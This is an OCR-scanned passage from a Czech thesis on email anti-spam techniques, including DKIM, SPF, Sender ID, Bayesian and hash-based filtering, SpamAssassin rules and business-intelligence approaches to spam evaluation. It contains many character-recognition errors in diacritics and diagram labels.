vzniknout omyl a email by mohl byt povazovan za realny (vlastni vyzkum autora).
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Takto vypada podvrzena stranka ,.e-banking CSOB“ — odkaz piisel v ramci emailu
s hlavi¢kou a adresou CSOB a upozoriioval na nové riziko phishingu — tedy snahy
ziskat uZivatelska ptistupova data. Stranka v realu, tedy pravé stranky CSOB vypadaly
témer stejne, lisily se pouze aktualnéjSimi novinkami. Tuto zménu obycejné uzivatel

ptrehlédne.
Autentifikace vyuZivajici doménové klice

Domain Keys Identified eMail (RFC4870) je protokol, ktery vznikl ze snahy
eliminovat falesné udaje o odesilateli v hlavicce emailu. Umoziuje provazani
doménového jména s emailovou adresou. Pro organizace je pak mozné pfesné urcit za
ktery email ma kdo zodpovédnost. Dand emailové zprava mize mit jiného autora a
jinou osobu, kterd se za dany email zarucila. To umozni napiiklad vedoucimu
garantovat zpravu svému podfizenému v ptipadé, Ze je to nutné. Ke zprave se ptipoji
DKIM podpis. Lze fici, ze pii urcité mife zjednoduseni lze ptirovnat DKIM podpis
k elektronickému podpisu dokumenti, vyjimkou je to, ze DKIM nezarucuje integritu

zpravy (Herzberg, 2009).

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20120113;

h=mime-version:date:message-
id:subject:from:to:content-type;

bh=8MghwrlID3sX8INTZER1nfuhB8VkgijIDhjbG21zq2E=;
b=ytOx0J8YzY5dHrqughFdPicgo97mU6¢c/C+WVTi6RtsRt
mFqPfcFo5BBM2Q7pLi3Zrb
OnPi7n3uaW4hcgiHFx5yW14D5aegeP+Kspm5TGvy/vIyLEI
FnAno9IMvoulcYt0oQHjn
rjoqgWoaexdfjuPzOvmngWSLgxHDW/4/Z9egmMbvD/6/3cD
J1D9tquilna/EHJIbOO7We
XTW+zA4AIMAgk/qcw40G0aH6zxHBI1tAbKTtj8k29FR7U
1X7LtG/KRNQQ5SbhTm668aVe
LQdsoOYACA/Gyd1XcTuxLZxBZImeVRCOCOTOQCDTiJf
E8XmZY4UKIx2He5iEa3CZd3yc FBzQ==

Obrazek 14 - Ukazka DKIM podpisu

Takto podepsané zpravy spam obsahovat mohou, ale je to ucinny prostfedek pro
zabranéni zménam a falSovani SMTP hlavicek, které je velmi lehké. Dalsi vyhodou je
eliminace phishingovych emaild, kde neni moZzné vydavat se napiiklad za banku a

zadat vyplnéni uZivatelskych udaji do formulate.
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Autentifikace pomoci nastroje pro publikac¢ni politiku

Sender policy Framework (RFC4408) je prosttedek proti email spoofingu — falSovani
emailovych hlavi¢ek. Technologie je standardizovana IETF jako RFC 4408 — v dob¢
psani prace v kategorii experimental. Cinnost SPF je zaméfena na ovéfovani identit
Vv ramci emailovych zprav pro pole mail-from nebo helo. Resi se zde ovéfeni pouZiti
emailovych adres uzivateli ¢i servery — identita emailové zpravy je a jeji falSovani je
zakladem rozesilani spamovych zprav (Herzberg, 2009). Helo identity — SMTP Helo
a Ehlo piikaz — pro SMTP klienta. Mail from identity — obsahuje reverzni cestu —

typicky emailovou adresu odesilatele
Slozky SPF kontroly:

e |P adresa — sitova adresa odesilatele — IPv4 nebo IPv6
e Doména — doménové jméno uvedené v polich Mail from nebo HELO

e Odesilatel — identita v polich Mail from nebo Helo
Vysledky SPF kontroly

e None — nepodafilo se zaznam ovéfit — neexistuje

e Neutral — hodnoceno jako None — pro zaznam neexistuje hodnoceni ¢i
spolehlivé ovéreni

e Pass — autorizovany odesilatel

e Fail — nespravna identita pfislusna k dané doméné

e SoftFail — identita je nespravna, ale je moznost odeslat chybu a nechat zpravu
ovéfit znovuposlanim — Greylisting — SMTP 451

e TempError — chyba pti ovéfovani — zprava je do¢asn¢ odmitnuta SMTP 451

e PermError — Spatné zaznamy na strané odesilatele — neni mozné je korektné

interpretovat.
Hodnoceni odesilatelii a prijemci

Technologie Vouch by Reference je implementace hodnoceni odesilatelti a piijjemct
elektronické posty. Hodnoceni provadi tieti strana, tedy typicky nékdo, kdo jiz s danou
emailovou adresou komunikoval a svym hodnocenim ovéfuje kladné hodnoceni
odesilatele. Hodnoceni lze pouZzit na strané¢ MTA, MDA nebo emailového klienta.
Plsobi jako soucast hodnoceni v ramci dalSich metod, kde reprezentuje kladné skore

— sniZuje spamovost emailové zpravy.
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Protokol je definovan v RFC5518. Do zpravy se pfi odeslani ptida identita odesilatele
dle VBR protokolu. Piijemce zpravy pak mize kontaktovat certifikacni server a ovéfit

piipojenou identitu a jeji hodnoceni.

Zprava obsahuje aditivni pole v hlavi¢ce emailové zpravy (RFC 5322) — VBR-Info,

kde je obsazeno jméno sluzby, ktera potvrzuje identitu odesilatele. Obsahuje tfi slozky

e Doménové jméno —-md=
e Typ obsahu zpravy — mc=

e Sluzby ovéteni — mv=
Validace probiha ve tech krocich:

e Kontrola domény a obsahu zpravy
e Autentifikacni mechanismy k ovéteni doménového jména

e (Qvéfeni u certifika¢nich sluzeb

Identita domény je zajisténa pomoci DKIM — pftifadi se doménové jméno emailové
zpraveé. V tomto piipadé musi odpovidat pole VBR-Info md=" doménovému jménu

(1913

v poli DKIM-signature pole i="* (Vlastni vyzkum autora).

Nastroj pro identifikaci odesilatele

Zalozeno na SPF (Sender Policy Framework - RFC4406, dale 4405, 4407, 4408), které
vylepSuje o nékolik dalSich vlastnosti. Jedna ze slabin SPF je, Ze nekontroluje adresu
hlavicky — header address, nebot’ je kontrolovana pouze hlavicka odesilatele. Ale
uzivatellim se zobrazuje prave adresa z policka header address. Slabinu Ize vyuzit tak,
ze adresu ovéfenou pomoci SPF , piekryjeme™ faleSnou adresou Vv header address

policku.

Dle RFC 4407 (experimental) definuje novou identitu emailové zpravy — Purported
Responsible Address (dale PRA), ta je dana dle hlavicky emailové zpravy. Sender ID
pak kontroluje hlavicku jako celek. Pokud je hlavicka zfalSovana, pak je vysledek

kontroly negativni.
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Algoritmus PRA

1)

2)

3)

4)

5)

6)

Vybere se prvni neprazdné resent-sender hlavicka ve zpraveé (pokud neni, pak
preskakujeme na krok 2)

Vybere se prvni zdznam resent-from (pokud existuje, nasleduje krok 5, jinak
krok 3)

Vyberou se vSechna neprazdna pole odesilatele v hlavicce (pokud nejsou,
nasleduje krok 4, pokud existuje pouze a piesné jedno pole, nasleduje krok 5,
pokud jich je vice, nasleduje krok 6)

Vyberou se v§echna neprazdné pole From v hlaviéce (pokud je pfesné jedno,
nasleduje krok 5, jinak krok 6)

Ptedchozi krok vybral jednoduchou hlavicku zpravy, pokud je nespravna
(obsahuje vice adres, nebo jednu adresu zkomolenou nebo bez doménového
jména), pak se pokracuje krokem 6. Pokud je v potadku, je hlavicka oznacena
jako PRA.

Hlavicka je zfalSované a nemuze byt oznacena jako PRA

Problémy Sender ID:

Bez pouziti SPF neni kompatibilni s RFC 2822, pro svou funkci vyzaduje
hlavicku, kterd uvedenou normu porusuje.

S pouzitim SPF je problém v nastaveni politik, které miiZze v mnoha piipadech
vyvolat nespravné hodnoceni.

Licence — Sender ID je zafazeno Open Specification Promise (piivodné patfil
do licen¢niho portfolie Microsoftu). OSP ale neni kompatibilni s GNU/GPLV3,
takze Sender ID nelze pouzit v systémech distribuovanych pod GNU/GPL
licenci. Coz se tyka linuxovych serverd a opensource emailovych programii a

serveru.
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1.3 Pokrocilé metody

Pokrocilymi metodami jsou minény nastroje, jejichz ¢innost neni trividlni. Za
pokrocily nastroj neni mozné povazovat filtrovani dle blacklistu — ¢innost nastroje
pouze spociva v porovnavani aktualni hodnoty (adresy IP, DNS zéznamu, ...)

s dostupnou databazi, at’ lokalni ¢i distribuovanou.
Oproti elementarnim néstrojim jsou pokroc¢ilé metody charakteristické témito znaky:

e Sofistikované vyhodnoceni pomoci netrivialnich metod

e Vys8i ndrocnosti na systémové zdroje (CPU, RAM)
Pokud se administrator rozhoduje, ktery néstroj pouzije na svém serveru, musi
analyzovat ¢asovou vyhodnost nasazeni pokrocilého ndstroje oproti elementarnimu
s dirazem na pomér cena (naro¢nost na zdroje) / G¢innost daného feseni (Vasilenko

Alexandr, 2013).
Uceni

Pokrocilym nastrojem, ktery vyuziva ptistup k filtraci za pomoci pravidel je ucici se
filtr. Ten je obvykle spojovan s Bayesovym vzorcem, ktery vypocitava
pravdépodobnost, zZe zprava je spam. Filtrace je zaloZena na analyze obsahu a na tom,
co uzivatel ¢i administrator oznaci jako spam. Slova, ¢i textové fetézce v takové zprave
jsou ulozena do slovniku a nasledné se pro ptfichozi zpravu pocitd spamové skore.
Pokud zprava dosédhne urcitého poctu bodi, je oznacena jako spam nebo pouze jako

podezield — uzivatel pak sam rozhodne o kone¢ném zatrazeni.
Naivni bayesovské filtrovani

Zaklada se na statistické metodé srovnavani slozek obsahu. Lze ho pouZit nejenom pro
hodnoceni zprav piijatych prostfednictvim emailu, ale také pro filtraci spamu na
internetovych forech, facebooku, twitteru (Faraz Ahmed, 2013) a SMS (Huang Jie,
2011)

Pro analyzu spamovosti zprav se vyuziva naivni bayesovsky filtr (Iryna Yevseyeva,
2013). Je to jednoduchy klasifikator, kde kazdému slovu zpravy je pfifazena hodnota
spamovosti — pravdépodobnosti, Ze slovo je obsazeno v nevyzadané zprave. Soucet

téchto hodnot pro celou zpravu da jeji skore.
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Jako ptiklad klasifikace miZe poslouzit nasledujici: idedlni pomeran¢ mé oranzovou

barvu a prumér 10cm.

Ptichozi ovoce je pak testovano na tyto vlastnosti. Procento, které udava splnéni téchto

vlastnosti, ovlivni zafazeni daného kusu ovoce do kategorie:

e |. kategorie — 95% splnéno
e |I. kategorie — 85% splnéno

e |ll. kategorie — neni pomeran¢

Naive Bayes ur¢uje pravdépodobnost na zaklad¢ jiz ohodnocenych zprav — tedy jejich
obsahu. Dle slov ¢i cCasti textu ur¢i pravdépodobnosti, Ze dand zprava je spam c¢i

nikoliv.
Content-based filtering

Moznosti ptistupu k obsahu — slova, slova malymi pismeny, znaky, dvouznaky,

trojznaky tvoii zakladni metody analyzy obsahu. (Delany Sarah Jane, 2012)
Hash

Jednou z pouzivanych hash funkei je md5. Podstatou fungovani je vytvoteni otisku —
hashe, ktery je pro libovolny soubor ¢i text vZzdy unikétni. Pokud by byl generovan
hash pro kazdou emailovou zpravu jako celek, byl by tento postup neefektivni. Staci
jediny znak zménit a hash se lisi. U emailovych zprav se bude liSit alesponi Cas

odeslani. Je tedy mozné vytvaret a srovnavat hash pouze pro télo zpravy.

Jak je patrné z analyzy setl zprav, proti tomuto postupu se spammefi brani ndhodnymi
fetézci a drobnymi zménami zpravy — napiiklad inzerovana cena ,l€ki* je Casto
odli$na v ramci centil. Pak je hash neti¢inny. Nicméné jej 1ze pouZzit pro prosté srovnani
predmétii emailové zpravy, kde cast seti dodrzuje pro danou sekvenci stejnou

hlavi¢ku.

Resenim jsou hash funkce s citlivostnim faktorem (LSH), kde dochazi k analyze
podobnosti fetézcl — drobna zména vyvola drobnou zménu v hash otisku. V databazi
pak misto slov (Spamassassin) jsou uloZeny hashe zprav oznafenych jako spam.
S témito se pak porovnava hash ptichozi zpravy. Definujeme pouze miru odlisnosti.
Specializovanou funkeci pro detekci spamu je naptiklad Nilsimsa hash, dostupna i jako

opensource implementace. V ptipad¢ programovani vlastniho nastroje lze vyuzit
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funkce pro citlivostni hash dostupné v daném programovacim jazyce. Ukdzkou je

jazyk Python s funkci Ishash.
Check sum filtering

V piipadé srovnavani podobnosti souboril Ize vyuzit funkce hash, které jsou schopny
zajistit detekcei stejnych soubord. V piipad¢ emailovych zprav, kde dochazi k obméné
obsahu tak, aby tyto funkce byly net¢inné, 1ze nasadit nastroje k detekci podobnych

fetézcli (Noemi Pérez-Diaz, 2012).
K-nejblizsi soused

Zkracené k-NN je postup smétujici ke tiidéni objekti do kategorii. Tuto vlastnost 1ze

vyuzit u spamovych zprav, kde slouzi k detekci minoritnich zmén.

pravdepodobneg ham

spam

ham

ham,

spam

Obrazek 15 - Klasifikace emaili pomoci k-nejbliz$iho souseda (vlastni vyzkum autora)

Algoritmus ur€uje vzdalenost mezi jednotlivymi zkoumanymi entitami (zpravami).
Pokud je zméfend vzdalenost dostatené mald (dle nastavenych parametri), pak

mohou byt zpravy uréeny jako soucasti setu zprav (Vasilenko Alexandr, 2013).

Vystupem je seskupeni zprav dle jejich vektord a zjisténi, zda skupina, ke které je
klasifikovana zprava pfifazena, je znacena jako spam ¢i ham. Vyhodou tohoto postupu
je, Zze neni potieba dlouhd ucici se faze. Jiz s prvnimi zpravami ur¢enymi jako spam

zacina filtrace fungovat (Vasilenko Alexandr, 2013).
Neuronové sité

Ume¢la inteligence realizuje hodnoceni prostfednictvim algoritmu, jehoZ principem je
rozhodovéni dil¢ich ¢asti — neuronil. Je zde paralela s fungovanim biologické nervové

sit¢. Neurony mohou byt reprezentovany jako sité. Cilem je vytvoieni funkce, ktera
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funkce rozhodne o pfidéleni skore ¢i hodnoceni zpravy. Vystup je pak ukazan na
nasledujicim obrazku, kde vystupem je rozsah [0;1]. Schéma je definovéano jako
vstupni bod pro kazdé slovo ve zprave, s jednou skrytou vrstvou a jednim vystupnim

bodem (Bo Yu, 2008).

Slovo vstup skryté wystup

viagra

cialis

hella

Obrazek 16 - Analyza spamovosti pomoci neuronové sité (Bo Yu, 2008)
Vstupni slova maji hodnotu 1, v pfipad€ prvni zpravy pak je vystup hodnocen skorem
0,5. Stejné jako jiné nastroje vyZaduji neuronové sit€ u€eni pro zlepSeni uspésnosti.
Datové bohaté zdsobena neuronova sit’ ma uspéSnost velmi vysokou — hodnoceni
hamu je do 0,1 a spamu prtes 0,9. nevyhodou pak je nutnost mit ob¢ kategorie zhruba
stejné zastoupene, pokud je spamu vice (¢1 hamu), dochazi k ovlivnéni hodnoceni ve
prospéch dané skupiny (Bo Yu, 2008). Nevyhodou neuronovych siti je jejich naro¢nost
na systémové prostiedky, ktera je vyssi nez naptiklad u seznamii a analyzy obsahu (Bo

Yu, 2008), (Seznam.cz, 2014), byt pii vyssi GspéSnosti.
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Pattern detection

Je zalozen na testovani podobnosti zprav. Spammeti posilaji zpravy ve velkém
mnozstvi pouze minoritné upravované. Pak je mozné tyto zpravy seskupovat a
hodnotit je jako celek. Otisk zpravy je relativné malo vypoctové naro¢ny a jeho
srovnani s databazi také. Zde dochéazi k zahlceni filtratniho systému pii velmi

vysokych poctech.

Z hlediska efektivity nelze vyuzit jednoduché hash funkce, jako je md5 ¢i SHA.
Spammeti vkladaji do zprav zmény — ndhodné fetézce textu, méni fiktivniho autora
zpravy. To vSe €ini bézné a rychlé hash funkce nepouzitelné (Jianying Zhou, 2007),
(Noemi Pérez-Diaz, 2012).

V praxi se vyuzivaji ¢aste¢né otisky zprav, kde mald zména textu zpravy vyvola malou
zménu vysledného hash otisku. Tento vysledek pak lze v ramci nastaveného intervalu
srovnavat s databazi jiz ulozenych hash otiskli a kompletovat zpravu do skupin k sob¢

a patficné s nimi nakladat (Noemi Pérez-Diaz, 2012).
Spamtrap

Pro diagnostiku a odhaleni emailovych harvestorii je mozné na webovou stranku ukryt
emailovou adresu, kterou bézny uzivatel webu nevidi, ale strojové ¢teny kod stranky
ji umozni harvestoru zaznamenat a ulozit. Takovato adresa, pokud se objevi
V emailové schrance je pak bez pochybnosti spam — zdroj téchto zprav pak miizeme
zatfadit na blacklist — nejednd se o legitimni zpravy. Na tomto principu funguje
projecthoneypot.com — ktery sbira pravé prostfednictvim téchto navnad informace o
emailovych harvestorech (Alexander K. Seewald, 2010).

Strojové uc¢eni (Machine learning)

Jedna se o aplikovani postupti, které umoznuji antispamovému nastroji ziskavat data
o pfijatych zpravach a téch, které uZzivatel oznaci jako spam. Nevyhodou
strojového uceni je jeho naro¢nost na vypocetni zdroje, které potiebuje pro analyzu
obsahu emailovych zprav. Tento aspekt je pro nasazeni u velkého objemu ptichozich
zprav dilezity, nebot’ soucasti rozhodovaciho procesu pti tvorbé metodiky hodnoceni
zprav v emailovém centrum je mimo spravnosti rozhodovani také rychlost a

systémové pozadavky (Seznam.cz, 2014).
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1.4 Kombinované metody

Jednotlivé néstroje poskytuji jistou miru ochrany emailovych schranek, avsak jejich
chybovost je znacna. Z tohoto diivodu se tyto elementarni nastroje kombinuji.
Ukéazkou je nasledujici schéma ziskané z materidli dostupnych na webu firmy

Microsoft:

SMTP server initiates SMTF session

é #|  |Reject message
o Examine sender Musane from and apply no
£ address blocked domain? other filters
£
|
@
E z> Yes »| | Reject message
& Message from and apply no
No| blocked sender? other filters

2 4 > > No >

= Query sender's Hesmge I‘alls Sender ID filter Reject

= DNS for SPF Sender ID?  vyag| setting to allow message and
; record No Sender ID-Failed?  apply no

= other filters
bl Stamp message

i as Sender ID-Failed

Obrazek 17 - Microsoft antispam FeSeni |
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Sender Reputation Filtering

v
[ | Calculate Sender Reputation Level (SRL) from the following criteria:
- Perform HELO/EHLO Analysis
= Perform Reverse DNS Lookup
= Analyze SCL rating
- Perform Open Proxy test

Add sender to Block List

Yes * on Sender Filter agant
w
] > SRL exceeds hlock threshhold
Assign SRL
to message

s Yes .

' - Delete messag
Scan for Wirus detacted? - m €
viruses

Mo

Obrazek 18 — Microsoft antispam feSeni 11
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Na vyse uvedeném obrazku je patrnd posloupnost jednotlivych krokti a zapojeni

elementarnich nastrojti do komplexniho hodnoceni:

e Connection filtering
e Sender filtering

e Recipient filtering

e Content

e Sender reputation

e Attachement

e Antivirus

e Outlook Junk filtering

Piekvapivé je zde zafazeni antivirové kontroly az na 7 misto. Pfi konzultacich u
realného nasazeni (CZU, Excello, Seznam.cz) byla shoda v umisténi antivirového
filtru na prvni misto. V piipad¢ zavirované ptilohy tak odpadl prichod dalsimi nastroji,

coz zvySuje spotiebu systémovych zdroji (vlastni vyzkum autora).
SpamAssassin

Iniciativa SpamAssassin implementuje znamé metody filtrovani nevyzadané posty.
Néstroj je distribuovany pod Apache License 2. Nastroj umoziiuje kombinaci
nejruznéjsSich lokalnich a distribuovanych zdroja s cilem piesné klasifikovat ptichozi
postu. Vyuziva nékolik schémat pro ovéfovani domény a piistupy zaloZené na
spolupraci, stejn¢ jako konkrétni implementaci tiidicich pravidel.

Pfi nasazeni nového filtracniho néstroje, je nutno nastavit nebo ptizplisobovat dané
konfigura¢ni soubory, které patii do SpamAssassinu. Nasledujici schéma zobrazuje

vnitfni  strukturu a hlavni konfiguraéni soubory souvisejici s nastavenim

SpamAssassin-Bayes filtru (Méndez, a dalsi, 2012).
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M us?

SA-CORE PLUGINS |

Q fiiter szor search
i full PYZOR_CHECK
d eval.check_pyzor()

required_score

iy

’
'
'
'
'
L
. '
[ E-mail parser ] i |RuLe SCORE
! [ SPF verifier
' i |=——=0 header SPF_FAIL
I |C—=Do o ) | evalcheck_Tor_spf_fail()
- ——/ 0
. — 0 -
: ! analngeg eos0 classifier
'
' | S— eval'check_bayes('0.00', 0.01)
[ Rule evaluator ]_ ' Y \
W ! Bayes
] ; L DataBase
'
: "Regex en%ine
! body DRUG ED CAPS
; “ offiles | /b(7-CIALISILEVITRA|VIAGRA) ~ -1.3
1
'
[ Spam decision E 2 RELRWL -
searcher
module ' header RCVD IN_SBL
T g  eval'check_rbl_sub(zen’ '127.0.0.2) -2.5
'
'
'
'
:
I
:
'
'

' action_on_spam other 3rd party plugins
[ Action executor ]‘/ - r 5
[FuzzyOCR
: ' <mle_def>,
@ ' <rule_score>
5 *.pre files
| e | I oo e S T o A e /)
lelusr/share/perl5/Mail/lSpamAssassin>| | </usr/share/SpamAssassin> </etc/mail/SpamAssassin>

Obrazek 19 - Schéma nastroje SpamAssassin (SpamAssassin manual)

SpamAssassin je velmi pruznym diky systému zasuvnych modulti, pomoci nichz
hodnoceni snadno korigovat. Moduly pak dopliiuji pravidla, kterd je mozno definovat
uzivatelsky. Tato pravidla mohou byt generovana automatizovanym nastrojem, pak by
tento rozhodovaci subsystém spadal pod Decission Support System. Kazdé¢ pravidlo
definuje skore pro kazdou pfichozi zpravu. Vyhodou je také dostupnost nastroje

Vv ramci distribuci GNU/Linuxu.

Ve vychozim nastaveni SpamAssassin integruje nckolik autentizacnich technik
domény (SPF, atd.), dale pak hodnoceni zaloZené na spolupréaci (Pyzor, RBL, RWL,

atd.), filtraci obsahu zaloZenou na naivnim bayesovském filtrovani.

Spole¢nym ukolem pro systémové administratory je zahrnuti novych nebo uprava
stavajicich pravidel tak, aby byla zajiSt€éna vykonnost filtru i v pfipadé¢ novych
spamovych setli. Tato pravidla jsou obvykle zaloZeny na reguldrni vyraz nad obsahem

celého e-mailu véetné metadat (vlastni vyzkum autora).

Nasledujici schéma znéazoriuje schéma definice pravidla SpamAssassin, ve kterém

rule type ptfedstavuje svou kategorii metadat, rule name dava logicky nézev pro
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pravidla, rule def urcuje jeho definici a obsahuje funkci nebo regularni vyraz,
rule flags definuje specifické parametry pro cilovou funkei, rule description ptidava

textové vysvétleni o pravidlo a rule score znamena ptifazeni skore (Méndez, a dalsi,

2012).

<rule_type> <rule _name> <rule def>

tflags <rule_name> <rule_flags>
describe <rule_name> <rule_description>
score <rule_name> <rule_score>

Obrazek 20 - Hodnoceni zprav v nastroji Spamassassin
Novy e-mailem je zpracovan jadrem SpamAssassin tim, ze vykond vSechna pravidla
definované v cf souborech. Kazdé pravidlo méni skore, a konecny vysledek je
vypolitan pro vstupni parametr required score, ureny spravcem systému uddva
minimalni kone¢né skore potiebné, aby zprava byla klasifikovana jako spam. Pokazdé,
kdyz je zprava klasifikovana jako spam, SpamAssassin provede akce upfesnéné v

konfigura¢nich souborech (naptiklad upravou pifedmétu emailu pfidanim slova
"SPAM").
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1.5 Business intelligence

Vypocetni technika pouzivana ve firmach je schopna zpracovavat velké mnozstvi dat
— tato data ale také ve velkém objemu generuje. Muze se jednat o sledovani chovani
uzivatell, sledovani vnitropodnikovych datovych tokt, spravu dokumentti, analyzu
dat ziskanych bezpecnostnimi systémy (Intrusion detection system, Intrusion
protection system, a dal$i). V obecném pohledu Ize konstatovat, ze majoritni podil na

téchto datech zabiraji textova data.

Business Intelligence (dale jiz jen BI) je komplexem technologii a metod, které maji
za cil analyzovat tato data a predlozit jejich analyticky piehled. Problém pro tyto
systémy predstavuje fakt, Ze data jsou v heterogenni podob¢ — tedy z kazdého zdroje
mohou pfichézet v jiném formatu. V rdmci designu BI je zasadni otadzka: ,,Je mozné
poftidit, analyzovat a pfevést tato surova data na informace a znalosti tak, aby je bylo

mozné pouzit pro podporu rozhodovani?“

Hodnoticimi charakteristikami v ramci BI je vcCasnost a pfesnost podavanych
informaci. Odpovédni pracovnici pak mohou s plnou informacni podporou Cinit
zasadni rozhodnuti, kterd mohou mit vliv na dalsi budoucnosti ¢i pfimo existenci jejich
firmy. Hlavnim Gc¢elem nasazeni BI je poskytovani znalosti pro efektivni a Casové

ptesné rozhodovani.

Vyhodnocovani metadat emailovych zprav a jejich analyzu lze povaZzovat za prvni
implementaci piistupti Business Intelligence (dale BI). Cinnost analytickych nastrojii
pro klasifikaci emailovych zprav je zalozena na analyzach velkého objemu textovych
dat a tvorby historickych zaznami, které¢ umoznuji zptesiovat klasifikaci. Dale jsou
zde uplatnovany metody evaluace pro rozhodovani, kde uzivatel mize rozhodnout,
zda doruceny email je spam ¢i opacné, zda email klasifikovany jako spam je legitimni
zprava, ktera ma byt dorucena. Pro vyuZiti v oblasti detekce spamu pak jsou dilezité

nasledujici body.
Efektivni rozhodnuti

Analytické metody v ramci BI podporuji rozhodovani tak, Zze poskytuji informace
umoznujici analyzu alternativnich rozhodnuti v zévislosti na mnozstvi a kvalité
ziskanych dat. Zvazované rozhodnuti je pak mozné podrobit hloubkové analyze na

zakladé znalostni baze dat.
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Casové presné rozhodovani

Pro firmy, zejména stiedni a vétsi se pohybuji v dynamickém prostiedi, které je
determinovano vc¢asnosti ziskavanych dat a schopnosti reagovat na nova data — jejich
¢asoveé podminénou hodnotou. Pokud je BI schopnost data zpracovavat kontinualné¢,

pak je jakékoliv rozhodnuti managementu zalozeno na aktualni situaci.
Vyhody vyuziti BI
Ptinosy BI v oblasti antispamovych nastrojl lze spatfit v:

e Podpoie rozhodovani zalozené na piesnych informacich s minimalni ¢asovou
prodlevou

e Moznosti analyzovat a evaluovat nékolik komplexnich alternativ

e Zpiesnéni rozhodnuti na zéklad¢ aktudlnich dat

e Efektivni a ¢asove presna rozhodnuti
Pro dalsi analyzu BI problematiky je nutné vymezit tii zdkladni terminy:

e Data — strukturované hodnoty (textové, Ciselné, ...) ziskané z primarnich
zdrojii — entit (informacéni systémy, burzovni systémy, ...) nebo hodnoty
vzniklé kombinaci nékolika entit.

e Informace — vystup ze zpracovanych dat. Oc¢istény o data, ktera nejsou pro dané
rozhodnuti zapotiebi.

e Znalosti — transformované informace pouzité pro rozhodnuti a vedouci
k odpovidajici akci. Znalosti jsou tak informace dané do specifického
kontextu. Jejich zpracovani se déje s vlivem zkuSenosti pracovnikii Cinicich

rozhodnuti.
Zpracovani analyz v BI je zajiSté€no nasledujicimi charakteristikami:

e Stanoveni cild, kterych chceme dosahnout za vyuZiti BI
e Pouziti matematickych modelt k analyzam dostupnych dat

e KdyZ-pak analyzy hodnotici efekty doporucenych rozhodnuti
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Architektura Bl

Bl metodologie — data z datovych skladt (trhi) jsou pouzita jako zasobovani
matematickych modeld a analytickych metodik. Zde dochazi k pfeméné informaci na

znalostni podklady. Lze vyuzit naptiklad:

e Analyz multidimenzionalnich datovych kostek
e Priizkumnd analyza dat
e Analyza ¢asovych fad

vvvvvv

e Optimalizace model

Jednotlivé komponenty tvoii hierarchickou strukturu, kde kazda slozka spolupracuje
se svymi nejbliz§imi vrstvami BI. Po kaZzdém piesunu na vyssi urovenl dochazi

K upravé dat / informaci / znalosti.

Data mining

Obrazek 21 - Komponenty Bl (Tyrychtr, a dalsi, 2015)
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Tyto zmény jsou v souladu s daty, cili stanovenymi pro BI a smétuji k optimalizaci

rozhodovacich procesi.

e Zdroje dat (data sources) — prvni stupeni BI. Pro korektni rozhodovani je nutné
mit co nejvice podkladovych dat, o ktera mlizeme opfit dané rozhodnuti.
Datové zdroje mohou byt rozdilné z hlediska zdrojt, formatu a periodicity.

e Datové sklady a datova trzist¢ (data warehouse, data marts) — extrakce a
transformace dat z primarnich zdroji vyuziva nastroje ETL (extract, transform,
load). Data z primarnich zdroji jsou ulozena v databazich urCenych jako
podkladové zdroje dat.

e Prizkum dat (data exploration)

e Dolovéni dat (data mining)

e Optimalizace

e Rozhodnuti (decissions)
Cyklus BI

Analyza dat v prostiedi BI je kontinualni Cinnost, ktera je zaméfena na analyzu
aktudlnich a historickych dat. Na zaklad¢ ziskanych poznatkl a pravdépodobnosti 1ze
definovat doporuceni pro dalsi chovani systému. Je provadén cyklus, ktery zajistuje

stale aktualizované poznatky pro dalsi zpracovani.

-

Analysis Insight

Evaluation Decision

-

Obrazek 22 - Cyklus Bl (Tyrychtr, a dalsi, 2015)
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Analyza

Tato faze je zameéfena na rozpozndni a piesné vymezeni problematiky. Musi
identifikovat kriticky faktor. Pro pfipravu systému na vyhodnoceni spamovosti zprav

musime stanovit hodnotici kritéria.
Hluboky pohled

Zprostiedkuje detailni pohled na problém. Naptiklad pti analyze dat je vhodné najit
spolecné charakteristiky pro zkoumany segment dat. Pokud se povede najit dané
souhlasné charakteristiky, pak l1ze vyhledavat skupiny nevyzadanych zprav a usnadnit

tak hodnoceni spamovosti.
Rozhodnuti

Znalosti ziskané v rdmci hlubokého pohledu jsou konvertovany na opatfeni a akce.

Pokud je ur€ena vysoka spamovost (nad dany limit), pak je zprava zahozena.
Evaluace

Kazda akce, kterda je dle uzivatele provedena nekorektné, musi byt na zaklad¢
hodnoceni uzivatele piehodnocena a analyzovan diivod Spatného rozhodnuti. Filtrace

je tedy zavisla na Case a mnozstvi zprav a reakci od uzivatelti.
1.5.1 Decission support system

Systémy pro podporu rozhodovani piedstavuji interaktivni aplikaci, kterd kombinuje
data a matematické metody pro posileni rozhodovacich schopnosti odpovédného
¢loveka pii feseni komplexnich problémi. V ptipadé nasazeni DSS jako podpory pro
evaluaci emailovych zprav, pak ¢lovéka nahrazuje antispamovy nastroj. Clovék je zde
v roli evaluatora, ktery kontroluje systém, koriguje jeho rozhodovani a stanovuje

omezeni V rozhodovani systému.
Vyuziti BI v antispamovém reSeni

Antispamovy nastroj a nastroje BI maji spole¢nou charakteristiku. V ptipadé

cv v

(emailové zpravy), tato data jsou nasledné rozebrana na z4jmova metadata, kterd jsou
nasledné transformovédna (ocCiSt€éna) a nahrana do datové struktury pro pouZiti

Vv analyze pomoci datové kostky.

63



Analogicky je také cyklus BI — v ptipadé nasazeni nového systému ¢i Gprave pravidel
je jako prvni analyzy — funguje vSe dle predpokladu (filtrace probiha dle potieb), dale
je provedena hloubkova analyza zaméfend na nové souvislosti, pak nasleduje

vytvofeni pravidla — rozhodnuti a evaluace (vlastni vyzkum autora), (Tyrychtr, a dalsi,

2015).

Lze konstatovat, ze pro ucely antispamového feSeni jsou principy a nastroje v Bl

kompatibilni a je mozné je propojit do jednoho feSeni — metodiky ASOLAP.
1.5.2 OLTP versus OLAP

Z pohledu zpracovani dat lze rozdélit souc¢asné piistupy K analyze dat na dvé skupiny

dle specifickych charakteristik (Tyrychtr, a dalsi, 2015):

e OLTP —vytvafeni a editace zdznamu

e OLAP —analyzy a reporting

Obecné Ize tyto dvé skupiny charakterizovat nasledovné. OLTP systémy poskytuji
data (ETL nastroje) datovym uloZiStim (datovym skladlim) a OLAP néstroje tato data

zpracovavaji.
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Online Transaction Processing

OLTP (online transaction processing) provadi mnozstvi datovych operaci (insert,
update, delete). Zakladni ucel OLTP nastroji je v rychlém zpracovani datovych
zdrojii, kontrole integrity vklddanych dat, zajiSténi viceptistupového prostredi.
V OLTP ulozi$tich jsou ulozena aktualni data v detailni podob¢é. OLTP tak pracuje
se zakladnimi daty — typicky v ramci prostiedi relaénich databazi — data jsou ve tvaru

